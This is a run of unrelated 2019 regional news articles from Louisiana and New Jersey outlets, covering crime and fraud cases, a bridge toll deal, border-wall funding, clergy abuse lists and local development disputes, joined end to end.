Each LaVetCorps center will be staffed by a state-trained navigator, who would also be an AmeriCorps service member, will serve as a peer mentor to student veterans in transition, according to the state Department of Veterans Affairs. The navigators will also provide training and support to college faculty, staff and administration to increase awareness of student veterans needs.

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More than 840 state Department of Veterans Affairs employees statewide provide comprehensive care and service to Louisianas 284,000 veterans and their families with regard to education, benefits, healthcare, long-term care and burial honors. The state Department of Veterans Affairs is applying for additional AmeriCorps funding to support the expansion of those services to college campuses.

The centers will be located at campuses within the Louisiana Community and Technical College System, University of Louisiana System, LSU System, and Southern University System. The initiative also includes Xavier University of Louisiana.

The Louisiana Department of Veterans Affairs will post navigator job opportunities on its website beginning in the spring. The state Department of Veterans Affairs stated it wants to fill these 30 positions with veterans or their dependents by August so they may begin serving at these Louisiana campus communities in the fall.

Louisianas student loan debt rises to $18.7 billion, credit agency reports

Wilborn P. Nobles III is an education reporter based in New Orleans. He can be reached at wnobles@nola.com or on Twitter at @WilNobles.Red Bar, a popular business just off Floridas 30A beach highway, burned down Wednesday morning (Feb. 13), according to the local paper, NWFdailynews.com.

It wasnt immediately clear what caused the fire at the business in downtown Grayton Beach. No injuries were reported, according to the South Walton Fire District.

As of 6 a.m., firefighters were battling the fire at 70 Hotz Avenue, officials said. Heres the full statement from the fire district via Facebook at 7:45 a.m. Wednesday:

SWFD crews were able to contain the fire to the Red Bar and keep it from severely damaging the adjacent structures. Crews battled strong winds which made it difficult to fight. Unfortunately the Red Bar sustained heavy fire damage and is now a total loss. No injuries were reported. Please avoid the area. SWFD Fire Marshal and the Florida State Fire Marshals Office will conduct an investigation once the scene is secured.

The Red Bar opened in 1995 at the old general store, according to its website.

30A is a beach highway on Floridas panhandle that runs through Seaside, Watercolor, Rosemary Beach, Santa Rosa Beach, Grayton Beach and other vacation communities. Its a popular summer destination for New Orleans residents.

Read the full report from NWFdailynews.com.

Carlie Kollath Wells is a morning reporter at NOLA.com | The Times-Picayune. Have an early-bird tip? Send it to her: cwells@nola.com or Twitter @carlie_kollath.New Orleans police are searching for a man accused of assaulting and robbing a man of his winnings at Harrahs Casino in late December.

Brandon Irvin, 36, allegedly attacked a gambler in the casino bathroom while he was counting his winnings around 5:30 a.m. on Dec. 18 . He grabbed the 34-year-old from behind, slammed his head into the toilet and stole his winnings, police said. It was not clear how much money was taken in total.

Police obtained an arrest warrant for Irvin on a charge of simple robbery. He already has an ongoing court case for a simple robbery charge from 2015.

Anyone with information on this incident or the whereabouts of Brandon Irvin is asked to contact NOPD Eighth District detectives at 504-658-6080, or to call anonymously to Crimestoppers at 504-822-1111 or toll-free at 1-877-903-STOP.A former North Shore pastor was sentenced Tuesday (Feb. 12) to three years of probation and ordered to pay $202,632 in restitution for fraudulently obtaining Social Security benefits, the U.S. Attorneys Office said.

Otho Schilling, 59, of Mount Hermon, was sentenced by U.S. District Court Judge Jay C. Zainey for theft of government funds.

While serving as pastor of a church in Bush in St. Tammany Parish from 2005 to 2016, Schilling required the church to pay his personal expenses, including health and car insurance premiums, car payments and a personal land note in lieu of the church paying him a salary directly, the U.S. Attorneys Office said in a news release.

During this period, Schilling was receiving $1,728 a month in Retirement, Survivors and Disability Insurance payments from the Social Security Administration, the release said. Schilling concealed both his earnings and employment from the Social Security Administration, fraudulently receiving more than $200,000 in benefits he was not entitled to due to his employment with the church, authorities said.

The Social Security Administration and Office of Inspector General investigated the case. The prosecution is being handled by Assistant U. S. Attorney Brian M. Klebba, Supervisor of the Financial Crimes Unit.

Former pastor accused of stealing $200K in Social Security fundsThe controller of a Metairie shipping company was arrested, accused of stealing more than $1.2 million from his employer.

Blown away by the violence of it: Group of tourists attacked by party bus passengers on Canal Street

Deepak Jagtiani, 59, was booked with three counts of theft valued over $25,000 and three counts of bank fraud, according to the Jefferson Parish Sheriffs Office.

Jagtiani handled the financials for Dan-Gulf Shipping Inc., a Metairie-based company that handles transportation of heavy-duty and hazardous loads between ports in the United States, Central and South America and the Caribbean.

No details were available about how long Jagtiani had been with the company. But Dan-Gulf President Niels Busse asked Jagtiani on Jan. 15 to look into the business available cash reserves from the 2016-2017 fiscal year, according to the Sheriffs Office.

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On Feb. 1, Jagtiani admitted that hed miscalculated the funds and the company wouldnt be able to meet its financial obligations on the following Monday.

The next day, Jagtiani sent an email advising that hed be late because of a doctors appointment. Jagtiani then sent another email abruptly resigning from the company a short time later.

Dan-Gulf officials immediately contacted the Sheriffs Office to report the thefts. They reported the loss at $1.260 million, but the amount is expected to grow as the investigation continues, according to the Sheriffs Office.

Jagtiani was first arrested Feb. 6 and booked into the Jefferson Parish Correctional Center. His bond was set at $1.5 million before Magistrate Commissioner Patricia Joyce reduce it to $200,000 on Monday (Feb. 11).

Jagtiani was released on bond Tuesday, according to court records. The court required him to turn over his passport and be placed on home incarceration. A status hearing is set for March 28.Youll soon have to cough up more money to cross the Delaware Memorial Bridge  just not as quickly (and, in some cases, not as much) as originally planned.

About a month after he vetoed an earlier version of the proposal, Gov. Phil Murphy on Wednesday announced a deal with Delaware Gov. John Carney on a $1 increase to the toll that drivers must pay to cross the Delaware River from Salem County to Delaware. The toll will rise from $4 to $5.

Under the original plan, the hike was slated to go into effect on March 1. But under the agreement, it will now begin May 1.

The plan is also projected to generate $32 million in toll revenue a year, compared to the original sum of $34 million. The money will go toward funding improvements to the bridge and Cape May-Lewes Ferry between the two states.

Not everyone will have to pay $5. Under the deal:

There will be an EZ-Pass discount of $4.75 for passenger cars and small truck home agency users. There was no EZ-Pass discount in the original plan.

Those enrolled in the bridges discount Frequent Traveler program will see their toll increase from $1.25 to $1.75  and then to $2.25 on Jan. 1, 2021. The original plan hiked that toll to $2 right away. The program is open to drivers who make 20 trips across the bridge in 90 days.

Those enrolled in the bridges discount Commuter Plan will see their toll go up from $1 to $1.25. Thats the same as the original plan.

The agreement also changes the budget of the Delaware River and Bay Authoritys five-year capital improvement plan from $423 million to $399 million.

The authority unanimously approved the hike in December. But Murphy last month vetoed the boards minutes  and, effectively, the original toll increase plan.

He said at the time he was not ready to support any toll increases that extend beyond the bridges critical safety enhancements.

The move came amid Murphys ongoing feud with state Senate President Stephen Sweeney, D-Gloucester, a South Jersey lawmaker who has allies on the board.

A Murphy spokesman said at the time that Murphy and Carney, a fellow Democrat, agreed to meet with the authority to find a speedy resolution.

Murphy said in a statement Wednesday the changes to the plan are more fair to commuters and allow the states to "invest in the Delaware Memorial Bridge to keep it in good repair.

This modified proposal allows us to ensure the safe passage of travelers from New Jersey and Delaware, while addressing the commuting costs of our residents, critical goals shared by both states," he added.

Carney said the Delaware River and Bay Authority, which oversees the bridge, can now proceed with many vital infrastructure investments.

The authority is scheduled to vote on the new plan at its board meeting Feb. 20.

Brent Johnson may be reached at bjohnson@njadvancemedia.com. Follow him on Twitter @johnsb01.

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Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters.WASHINGTON  Just days before the first anniversary of the mass shooting at a South Florida high school, U.S. Sen. Robert Menendez on Tuesday proposed banning gun magazines with more than 10 rounds of ammunition.

The high-capacity magazines were used by gunmen in 17 separate mass shootings in the last 20 years, most recently the murder of 11 worshippers in a Pittsburgh synagogue last October.

Thursday is the first anniversary of the shooting in Parkland, Florida, where 17 students and staff members were gunned down. A Florida Democrat, Rep. Ted Deutch, is the lead House sponsor of the Keep Americans Safe Act.

"Weapons of war have no place on our streets and high capacity magazines have no place on our shelves, said Menendez, D-N.J., at a Capitol Hill press conference with other lawmakers, gun control advocates, and parents whose children were killed in Parkland.

Inaction on gun violence is not an option and anyone who refuses to address a real emergency like this one is complicit in the carnage.

The legislation also authorizes a federally funded program to buy back the outlawed magazines, and requires future devices to have serial numbers and the date they were made.

The National Rifle Association had no immediate comment.

Menendez proposed similar legislation after the October 2017 Las Vegas shooting where 58 people were killed in the deadliest mass shooting ever in the U.S. Following Parkland, he held a rally with some of the surviving high school students in New Jersey.

It is one of several gun control bills introduced in the new Congress. Menendez also co-sponsored a measure to ban assault weapons.

The legislative activity follows a midterm election that saw Democrats win control of the U.S. House while many of their winning candidates endorsed gun control legislation. Gun control advocates spent $17 million on the 2018 elections, compared with $14 million for gun rights groups, according to the Center for Responsive Politics, a Washington-based research group.

Everyone should be part of this change we are demanding," said Manuel Oliver, whose son Joaquin was killed at the Parkland high school.

The Senate version is co-sponsored by 28 Democrats, including current and prospective 2020 Democratic presidential candidates U.S. Sens. Cory Booker, D-N.J.; Amy Klobuchar, D-Minn.; Bernie Sanders, I-Vt.; Elizabeth Warren, D-Mass.; Kamala Harris. D-Calif.; Kirsten Gillibrand, D-N.Y.; and Jeff Merkley, D-Ore.

Jonathan D. Salant may be reached at jsalant@njadvancemedia.com. Follow him on Twitter @JDSalant or on Facebook. Find NJ.com Politics on Facebook.

Have a tip? Tell us. nj.com/tips

Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters.Ongoing maintenance is critical, Smith said of the summer projects. We want to attend to building needs in a timely fashion. We deliberately made sure we went out to bid earlier to get the best pricing possible in order to stretch our dollars as far as they can go. We want to make sure all of our buildings provide a comfortable learning environment for students and staff.(CNN)  U.S. President Donald Trump voiced displeasure Tuesday at a border security deal struck by congressional negotiators, hinting it may not meet his requirements for constructing a wall.

"Am I happy? The answer is no, I'm not. I'm not happy," Trump said when questioned about the agreement during a meeting of his Cabinet at the White House. He said he was still studying the details of the agreement.

But he stopped short of saying he would reject the accord, which Democrats and Republicans announced late Monday. Instead, he suggested he had other mechanisms ready to deploy to satisfy his need for border wall funding.

"I'm adding things to it," Trump said. "It's all going to happen, where we're going to build a beautiful, big, strong wall."

A White House official told CNN's Jim Acosta the President is likely to sign the deal, but aides caution that nothing is final.

Trump also said Tuesday a government shutdown is unlikely at the end of the week, even if a funding agreement isn't fully satisfactory.

"I don't think you're going to see a shutdown," Trump said. "If you did have it, it's the Democrats' fault."

The President must soon decide whether he can accept the border security deal struck by congressional negotiators that falls far short of his original demands.

The agreement, which includes $1.375 billion for a border barrier, falls well short of the $5.7 billion he originally demanded for a wall. It even falls short of the $1.6 billion included in a Senate package last year.

Still, the measure would avert another government shutdown, which polls showed Trump took the blame for last time around.

The White House says Trump is continuing to weigh his options -- which still include taking executive action to secure funding for a wall.

"We're not going to get into a conversation of what could be in this document. We want to focus on what's actually in the document. Until we see that it's going to be very difficult to have a conversation about what we will and won't accept," spokesman Hogan Gidley told reporters at the White House on Tuesday.

White House officials have a roster of options they have been weighing that would employ the President's executive authority to secure money for a border wall. Not all would require declaring a national emergency. The President is being urged by conservatives to take executive action in conjunction with signing the compromise legislation that would avert a government shutdown.

It's not clear which combination of actions the President might use, and the topic has been under debate for weeks. The estimates for how much each option could garner have also been under debate. The President has held nearly daily meetings with senior advisers and others to discuss his options.

Drafts of the executive orders or declarations have been circulating for weeks inside the West Wing. All have been heavily examined by the counsel's office and the Justice Department, and most White House aides believe any executive action will prompt legal challenges.

The various options have come with differing legal outlooks, according to people familiar with the matter. There are also concerns about landowners bringing legal challenges should their land be seized for border construction using eminent domain.

Moving money from disaster relief funds is also seen as politically problematic by some senior aides.

The White House is prepared to roll out executive actions piece by piece, not necessarily all at once, once the President signs off.

In reality, it won't be as easy as just signing one piece of paper and being done with it. That's what acting chief of staff Mick Mulvaney and other agency heads have been up to over the past weeks: finding pools of money they can use to fund a border wall. Some of those will be easy and some will be more difficult legally, aides familiar with the matter said.

Even as lawmakers haggled over details of their agreement, the White House had been planning behind the scenes to secure the funds unilaterally. That is partly why administration aides weren't fazed over the weekend when reports emerged the talks had broken down.

Based on CNN's latest reporting, the President's unilateral options include:

Accessing Treasury forfeiture funds

An estimated $680 million

Would not require the President to declare a national emergency.

Includes unobligated funds from participating agencies that can be used to support law enforcement activities.

After the Office of Management and Budget reviews the order, Treasury and the Department of Homeland Security would both notify Congress then wait 15 days before the funds can be obligated.

Acquisition of land is allowed under this option.

Using USC 284 to divert some Pentagon funds for counter-narcotics

Up to an estimated $2 billion

May not require the President to declare a national emergency, according to a CRS legal report.

DHS must exercise a waiver to transfer counter-drug funds to construct fencing to block drug smuggling.

DHS asks Department of Defense to assist after identifying a location where a fence is needed to block drug smuggling corridor.

Using USC 2808 to gain access to military construction funds

An estimated $3.6 billion

Would require the President to declare a national emergency.

Would require the use of the military.

The President would declare border protection a Defense Department mission.

Use Army Corps civil works funds using USC 2293

An estimated $3 billion

May require the President to declare a national emergency, but could also be used without a national emergency, according to a CRS legal report.

The Secretary of the Army may stop or defer Army civil works projects and apply funds to help build civil defense projects essential for the national defense (Secretary of the Army makes the final determination if essential to national defense)

The unspent funds that could be used are now designated to go toward Army Corps of Engineers projects to repair infrastructure damaged by natural disasters.

CNN's Tammy Kupperman, Jim Acosta, Pamela Brown, Abby Phillip, Maegan Vazquez and Joe Johns contributed to this report.

This story was first published on CNN.com "Trump 'not happy' with deal, weighing options for building wall"By Jeff Van Drew

The Atlantic City Rail Line (ACRL) runs from Atlantic City to Philadelphia, supports the economies of two major regions, has thousands of daily riders, and has been closed since September 2018. This closure has caused upheaval in many peoples lives. My constituents in New Jerseys Second Congressional District have reached out and shared stories such as an inability to get to work, or a two-hour one-way commute on local bus routes. This upheaval has been devastating for some, causing job loss and affecting the economy of Atlantic City and South Jersey as a whole.

Since September of 2018, New Jersey Transit has been installing federally mandated safety mechanisms, known as Positive Train Control (PTC), on its rail fleet throughout the state and all service on the ACRL has been suspended. The repair work was government mandated, but New Jersey Transit promised that this will be done, and the line opened by January 2019, a date that has come and passed with no opening in sight. The lack of communication and the continued delay of the Atlantic City Rail Line restoration has caused extreme frustration for South Jersey commuters and has now impacted the regional economy.

My main frustration is that NJ Transit continually misleads the residents of South Jersey. They said the Rail Line would be open by January, and the lack of communication when it wasnt shows a trend of them being untruthful. Additionally, they said the continued closure is due to a need of inspections and approval by the Federal Railroad Administration (FRA) before they could reopen the line, to which FRA Spokesman Warren Flateau said, New Jersey Transit does not need approval from FRA to reinstate commuter rail service on the lines where NJ Transit had voluntarily decided to temporarily reduce or suspend service, including the Atlantic City Line. However, the biggest frustration and fear is the threat that the line will remain permanently closed, something that I will do everything in my power to stop from happening.

The people of South Jersey, and local, state, and federal Representatives will not allow a permanent closure of the Atlantic City Rail Line. The people are upset, the economy is damaged, and my fellow representatives and I have repeatedly spoken out about this.

The majority of New Jerseys representatives in the House came together to express their concern with the continued closure of the Atlantic City Rail Line in a letter, stating, New Jersey residents depend heavily on the agencys rail lines to get to work, and the lack of reliable service not only negatively impacts their daily lives, but also hinders regional economic growth, continuing, We hope full and regular service will be restored on the Atlantic City Rail Line as quickly as possible.

NJ Transits failure to meet its own deadlines and lack of transparency is unacceptable. They must do better for the people of South Jersey.

Congressman Jeff Van Drew represents New Jerseys 2nd District.

Bookmark NJ.com/Opinion. Follow on Twitter @NJ_Opinion and find NJ.com Opinion on Facebook. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters.A contractor accused of taking home repair payments from Hurricane Sandy victims but not performing the promised work has admitted to the crime.

Peter Rinaldi, 57, of Little Egg Harbor, must pay back all the money he took from eight homeowners spread across his hometown, Toms River, Ship Bottom and Point Pleasant.

Rinaldi, a contractor, owned two building companies - Donovan Mark Custom Builders and Michael Anthony Custom Builders. Between July 2014 and August 2016, he made agreements to work on the eight homes, Ocean County Prosecutor Bradley Billhimer said in a statement.

But that money went to Rinaldis personal use and the work went unfinished.

As part of a deal with prosecutors, Rinaldi pleaded guilty Monday to second-degree theft. He must also pay $247,224.63 in restitution. Prosecutors will ask a judge to sentence him to five years in prison on that offense.

In another case, Rinaldi already pleaded guilty to third-degree theft for failing to make repairs to a home in Brick Township. In that case, he owes $34,475 and prosecutors will ask for a three-year prison sentence.

Judge Guy Ryan, who heard the plea on Monday, will sentence Rinaldi on March 29.

Joe Brandt can be reached at jbrandt@njadvancemedia.com. Follow him on Twitter @JBrandt_NJ. Find NJ.com on Facebook.

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Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters.For the first time, New Jerseys five Catholic dioceses released the names of 188 clergy members who have been credibly accused of sexually assaulting children.

The lists, though, from two dioceses  Paterson and Trenton  do not include the parishes where the priests served. The dioceses of Metuchen, Newark and Camden all provided details as to where priests were assigned.

NJ Advance Media has asked the dioceses for more information, but we are also asking you for help.

If you know any of the priests on this list, please fill out the form below.

Or please use our secure tip line.Kay Harris can still remember Asbury Parks own Jim Crow era. As a young African-American girl in the 1950s and 60s, Harris said she was barred from swimming in the Monte Carlo Pool, a huge saltwater pool at the north end of town, near where a developer now plans to create a members-only beachfront pool club permitted under the citys waterfront redevelopment plan.

It was segregated, Harris, 66, said of the privately-operated Monte Carlo pool, billed by its operator as the worlds largest swimming pool. I just remember so well my mom dropping us off and the manager, he saw us coming and he ran back inside and told the girl to tell us it was closed. And you could hear inside the kids laughing and having fun because it was open.

So Harris, like others in the citys African-American community, is particularly sensitive to the notion of a private pool club proposed by the waterfront developer, Manhattan-based iStar, despite its assurances that the pool club will be open to anyone who can afford it.

The developer will present its pool club plans during a city council meeting Wednesday night, which will be held at Asbury Park High School in anticipation of a large crowd. Outside the high school prior to the 6 p.m. meeting, Kay will take part in a demonstration by Save Asburys Waterfront, a coalition of community activists, environmentalists, beach access advocates, and surrounding residents who also oppose the private club.

iStar has not specified the cost of the clubs 350-400 memberships, though it has said it will reserve a certain number of slots for residents of its new condominium tower, the Ocean Club, which will open for occupancy this spring, a few blocks south of the pool club site.

Kay Harris, whose father, Lorenzo Harris Jr., was Asbury Park's first African-American city councilman, is seen here at the site of a proposed private pool club at the city's north end.

A spokeswoman for iStar said in an email that the companys senior vice president for land and development, Brian Cheripka, would take questions and address community concerns at Wednesdays meeting.

Brian can address all questions at the upcoming council meeting, the spokeswoman said in an email. iStar has no association to the previous club or its history but welcomes guests of all backgrounds to the future beach club.

African-Americans make up just under half of Asbury Parks population of about 16,000. Segregation was part of the business model of the Shore resorts 19th Century founder, James Bradley, who believed white tourists would rather not interact with African-Americans while relaxing by the seaside, according to historians and civil rights leaders. They trace the local African-American communitys elevated rates of poverty to Bradleys segregationist policies and practices as the citys principal landowner and planner, and an early mayor and newspaper publisher.

The proposed pool club would include a single-story structure on the beach side of Ocean Avenue, with an ivy facade and a pool. Cheripka has said the club would open no sooner than the 2020 summer season.

In addition to the Ocean Club, other projects iStar has already completed include development of the Asbury Hotel from a former Salvation Army residence, and a makeover of the adjacent Asbury Lanes music venue and bowling ally. Kay gave iStar credit for investing in the city, and for training and employing residents at its properties.

But Kay and other opponents of the pool club say a members-only enclave along the beach will create a perception of exclusivity that flies in the face of Asbury Parks spirit of inclusiveness, which extends not only to race but to socioeconomic level, sexuality and other areas.

It makes it appear its going to be an exclusive area where its not really open to everyone, said Harris, a retired AT&T manager who operates a small local history museum on the boardwalk, and whose physician father, Dr. Lorenzo Harris Jr., was Asbury Parks first African-American city council member.

It really has to do with the an economic exclusivity, and that in itself will keep a number of blacks out," added Kay, who lives in neighboring Neptune. "Im really concerned about the direction the city is headed. Why is a developer allowed to determine which way the city is going?

However, its not iStar that decided there should be a private pool club at the north end. The club was an original element of a waterfront redevelopment plan adopted by the city council in 2002, and has survived several amendments to the plan since then. The redevelopment plan also calls for construction of a public pool within 18 months of the private clubs opening.

Save Asburys Waterfront, or SAW, has taken its case to local elected officials. A council meeting last fall drew about 400 people angered that iStar had just torn up a three-block stretch of northern boardwalk under plans for a narrower walkway that would meander through a field of dunes and connect to paved parking. All of those elements, like the pool club, are included in the redevelopment plan.

Mayor John Moor said he and other local officials sympathize with residents, calling the club situation a mess. But Moor said iStar appears legally entitled to move forward with its plans for the club, and to try to block it would be futile and costly to taxpayers.

Its called for in the redevelopment plan, Moor said. Its been there from the beginning. Its totally on their property and theyre not asking for any variances. We cannot arbitrarily and capriciously say, No, you cant do it, or were going to be sued.

Moor said Kays reaction to the private pool club proposal was understandable in light of the citys history of segregation.

I guess everything that goes around comes around, Moor said. And history repeats itself.

Steve Strunsky may be reached at sstrunsky@njadvancemedia.com. Follow him on Twitter @SteveStrunsky. Find NJ.com on Facebook.

Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters.JERSEY CITY  A Hudson County Superior Court judge on Wednesday ruled against a request by Jersey Citys police unions that would have forced the city to restart the off-duty jobs program, which Mayor Steve Fulop killed in January.

During the roughly 40-minute hearing, Judge Peter Bariso ruled against the unions request for a temporary injunction, saying the unions had not met the required threshold for Bariso to step in immediately. The case against the city and Fulop now moves to a pretrial phase in front of a different judge.

A temporary injunction is intended to prevent irreparable harm, Bariso said, before noting that the city started phasing out off-duty jobs a year ago. The plaintiffs  the Jersey City Police Officer Benevolent Association and the Jersey City Police Superior Officers Association  asked for the injunction last month.

Plaintiffs cannot claim that a harm is immediate if the plaintiffs themselves created the emergency, he said..

Carmine Disbrow, the JCPOBA president, said in a statement the unions are disappointed but not dissuaded from moving forward with the lawsuit.

We are prepared for trial, and are hopeful that despite the comments of his spokesperson Fulop wont attempt to tie this effort up for years, Disbrow said. Jersey City residents deserve to feel safe no matter where they live, thats what we are fighting for.

The unions argue that Fulop acted improperly when he halted all off-duty jobs, an act Fulop said was a response to a string of guilty pleas from cops who admitted the program was at the center of a no-show jobs conspiracy. Fulop cannot end the program on his own because it was approved by an ordinance adopted by the City Council, the unions say.

The citys outside attorney, Arthur R. Thibault, argued to Bariso on Wednesday that the ordinance in question gives the citys public safety director, James Shea, discretion over whether to allow private companies to hire off-duty cops.

The citys language on the program has shifted in recent weeks. Fulop wrote on Facebook on Jan. 18 that next week the program officially ends," language echoed then by a city spokeswoman. In court on Wednesday, Thibault said the program has not been abolished. City spokeswoman Kimberly Wallace-Scalcione said off-duty jobs have been paused.

This is the right decision for Jersey City residents, Wallace-Scalcione said. We chose not to eliminate the program legislatively because we intend over the next 12 months to continue exploring best practices for Jersey City based on other large cities around the country.

Companies hire off-duty officers as security and to direct traffic outside construction sites. The companies pay the city and the city pays the cops.

After a federal investigation of the program, 10 officers admitted they took money directly from companies, submitted and approved phony pay vouchers for jobs that werent worked and bribed officers for their assistance. An 11th person, former chief Phil Zacche, admitted he stole more than $20,000 for no-show security gigs at a Jersey City public housing complex.

Fulop began slowly eliminating off-duty jobs in February 2018, after Zacches guilty plea created a headache for the city (Fulop appointed Zacche as police chief in 2014). In January, the city halted all of them, leading to the cop unions lawsuit.

With local cops unavailable, private companies have started hiring state troopers, flag men, and security guards instead.

Terrence T. McDonald may be reached at tmcdonald@jjournal.com. Follow him on Twitter @terrencemcd. Find The Jersey Journal on Facebook.JERSEY CITY  The Fulop administration will ask the City Council on Thursday to approve a six-figure contract with Rutgers Universitys business school to conduct a study of disparities in the citys hiring of businesses owned by people of color, women, veterans and the LGBT community.

The 11-month study, which would include help from a New Jersey City University administrator and professor, is needed to protect future ordinances aimed at correcting any disparities in city hiring, Mayor Steve Fulop said in a statement. The proposed tab is $181,750.

Fulop's push for a new study comes eight years after a similar report found that minority- and women-owned businesses won a fraction of city contracts and were barely represented on job sites for tax-abated projects. Called the Croson Study, that 2011 report was used as a cudgel by residents who have long said the citys black and brown communities were not sharing in the citys economic revitalization.

Fulop has criticized his predecessor, Jerramiah Healy, for ignoring the studys recommendations, which include soliciting women- and minority-owned businesses for small purchases, imposing mandatory subcontracting clauses to benefit those businesses and setting annual goals for hiring them. Fulops critics have said his own administration has not done much more than Healys.

The Jersey City branch of the NAACP is upset about plans for a new study, saying they werent involved in the decision and dont think its necessary. The NAACP has criticized Fulop throughout his first term and into his second for what they call his inaction on implementing the Croson studys proposals.

"Im not in favor of a new study that is going to cost taxpayers a whole lot of money, the Rev. Nathaniel Legay, the NAACP president, told The Jersey Journal. Why devise a new plan when you have not done anything with what's existing?

The Croson study was produced after an analysis of city procurement practices from 2001 through 2008. Fulop spokeswoman Kimberly Wallace-Scalcione called the data in it stale.

We took steps without a new study per the recommendations in the previous study where possible, but while our administration has done more than any other with hard-target requirements, we do know the law requires an update to data instead of looking at the city from 12 years ago, she said.

Attorney Barbara Camacho has urged the city in the past to be more aggressive in tackling the findings of the Croson study. She told The Jersey Journal the city should focus on taking action  say, creating a bonding program that helps minorities overcome entry obstacles in the business world  rather than commissioning a new study, which she characterized as kicking the can down the road.

Camacho noted the city put together a committee in 2014 to examine the Croson studys recommendations.

So weve had to contend with a study that collected dust, a study of the study and now a new study, she said. Its lazy and cruel."

The council meets on Thursday this week, not its usual Wednesday, at 6 p.m. at City Hall, 280 Grove St.

Terrence T. McDonald may be reached at tmcdonald@jjournal.com. Follow him on Twitter @terrencemcd. Find The Jersey Journal on Facebook.More than three dozen former priests who served at Hudson County parishes are among a list of 63 ex-clergymen who have been credibly accused of sexually abusing minors.

The Archdiocese of Newark took the historic step of releasing the names and the parishes where the former priests served Wednesday morning. The list included 42 who served in Hudson County for at least part of their careers, and it showed how priests were easily shuffled from one parish to another.

We express genuine sorrow and regret to the victims who put their trust in a member of the church only to have that trust so profoundly betrayed, Cardinal Joseph W. Tobin said in a statement posted Wednesday on the archdiocese website.

Additionally, the disclosure of the names is part of our ongoing commitment to protect our children and to ensure safe environments for minors the statement said. The list did not say in which parish the alleged abuse occurred.

A Jersey City woman who attended St. John the Baptist grammar school said she is not surprised by the list.

People knew what was going on," said the woman, who asked not to be named for fear of harassment. "They just did nothing about it.

Robert Svec is one of two priests, both deceased, on the list who served at St. John the Baptist. The other is Robert Marotta.

Svec, who was at St. John from 1968 to 1977, was in charge of the altar boys," the woman said. "One of the teachers knew (what was going on) and when Svec was asking for one altar boy, the teacher would send two or three, so nothing would happen. But still, it shows that people knew and didnt stop it.

Svec was one of 19 priests and a deacon who served in Hudson County who were named for the first time Wednesday.

The others are Robert Stauffer, Edward Stanley, Mario Salazar, Jesus Orlando Rengifo Michael OBrien, Deacon Thomas Mousley, John Morel, William McCann, Robert Marotta, Francis T. Maione, Alan Guglielmo, Lawrence Gadek, Joseph P. Fagan, John Flanaga, Artro Crespo, James A. Carey, John X. Bergeur, John C. Bouton and Jorge Batista.

It is unclear if any of these former priests who are still living will be prosecuted. Officials with the Hudson County Prosecutors Office could not be reached Wednesday.

Twenty-four of the priests are no longer alive, while 14 were permanently removed from ministry. Four were liacized or formally stripped of their standing as clergy. Nearly half of the priests had never been publicly accused of abusing minors.

Mark Crawford, director of the state regional office of Survivors Network of those Abused by Priests (SNAP), said release of the list is a step in the right direction, but it comes far too late.

SNAP has been calling for such a list for more than 20 years, said Crawford, a priest abuse victim. We are grateful to our state attorney general and civil authorities who have sought to finally investigate the five New Jersey dioceses and has brought about the impetus for this long overdue disclosure.

In September, state Attorney General Gurbir S. Grewal set up a task force to investigate sexual abuse by members of the clergy within the states Catholic dioceses, as well as any efforts to cover up such abuse. The task force has subpoena power to compel testimony and demand the production of documents.

Grewal released a statement Wednesday saying that he is pleased the actions of his office have prompted the release of the priests names. He said the task force continues to investigate and that no institution or individual is immune from accountability.

The list released Wednesday includes priests who served at parishes, schools, or hospitals in Jersey City, Bayonne, Union City, Hoboken, Kearny, North Bergen, West New York, Guttenberg, Secaucus, East Newark and Weehawken. Of the 42 priests on the sex abuser list, four of them served the Jersey City parishes of St. Aloysius, St. Mary and Our Lady of Mt. Carmel. Three priests on the list served at St. Joseph of the Palisades in West New York and St. Henrys in Bayonne.

Crawford said the list appears to include only diocesan priests and not priests who are members of religious orders, such as Franciscans, Dominicans and Jesuits. He said the archdiocese would know if there were allegations of sexual misconduct by priests in religious orders who were or are assigned in Hudson County.

In January, the USA Northeast Province Jesuits, which represents Jesuit priests in northern New Jersey and several other states, released a list of its priests who were accused of sexual misconduct. Nine of the priests had ties to Jersey City.

Many priests on the Newark archdioceses list were assigned to multiple parishes during their careers. Svec also served at St. Henrys and St. Mary, Star of the Sea, both in Bayonne, as well as Our Lady of Mt. Carmel in Jersey City.

Alan Guglielmo had nearly 20 assignments in the archdiocese. In Hudson County, he was assigned to Immaculate Conception in Secaucus and St. Mary in Jersey City. He was also chaplain at St. Marys Hospital in Hoboken and spiritual director at the Christian Youth Organization in Jersey City. Guglielmo was later permanently removed from the ministry.

All five New Jersey Roman Catholic dioceses are participating in a recently established, independent Victim Compensation Program for minors sexually abused by priests.

While we recognize that no degree of financial compensation can adequately address the suffering endured, this program is a genuine expression of our remorse and our desire to make amends for past transgressions," Tobin said. "It is my sincere hope that this program will meaningfully assist victims in their healing and will bring them a measure of peace.

The archdiocese can be reached at 973-497-4000.

The archdiocese is currently involved in civil litigation related to allegations of the sexual abuse of minors and the list does not include the names of priests involved in the litigation. Tobin said the names of all priests on the list were previously reported to law enforcement agencies.

Local priests have been instructed to refer all questions regarding the list to the archdiocese. The archdiocese did not return a call seeking the dates the priest were assigned to the various parishes.Montclair residents finally have the answer to the lingering question of which supermarket will replace the closed Pathmark in Lackawanna Plaza.

German grocer Lidl will open a 29,000-square-foot store fill the space at a yet-to-be-determined date. It gained approval for the project from the townships planning board meeting on Monday night, though it must still gain additional approvals.

We think Montclair is the perfect town for us to operate in and this is perfect site, Lidl real estate manager Nick Buckner told the planning board. The site is close to downtown and the walkability and pedestrian-friendly (nature) is something that enticed us.

Lidl, which expanded into the U.S in 2014, has 10,500 stores in 29 countries. There are also New Jersey locations in Hazlet, Union, Eatontown and Vineland.

Rob Schmitt, a representative for Hampshire Companies, a private real estate development firm, said at the meeting that Lidl is also eyeing two locations in Bergen County for expansion. He didnt specify which towns.

About 80 to 90 percent of Lidl products are private label - the companys own brand.

The Pathmark closed in Montclair in 2015.

Township spokesman Katya Wowk said information isnt available on a potential opening dating.

Jeff Goldman may be reached at jeff_goldman@njadvancemedia.com. Follow him on Twitter @JeffSGoldman. Find NJ.com on Facebook.

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Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters.Keith Kinkaid, Nick Lappin, Kenny Agostino, Nico Hischier and the New Jersey Devils will start a three-game road trip when they visit the St. Louis Blues at 8 p.m. Eastern on Tuesday at Enterprise Center in St. Louis.

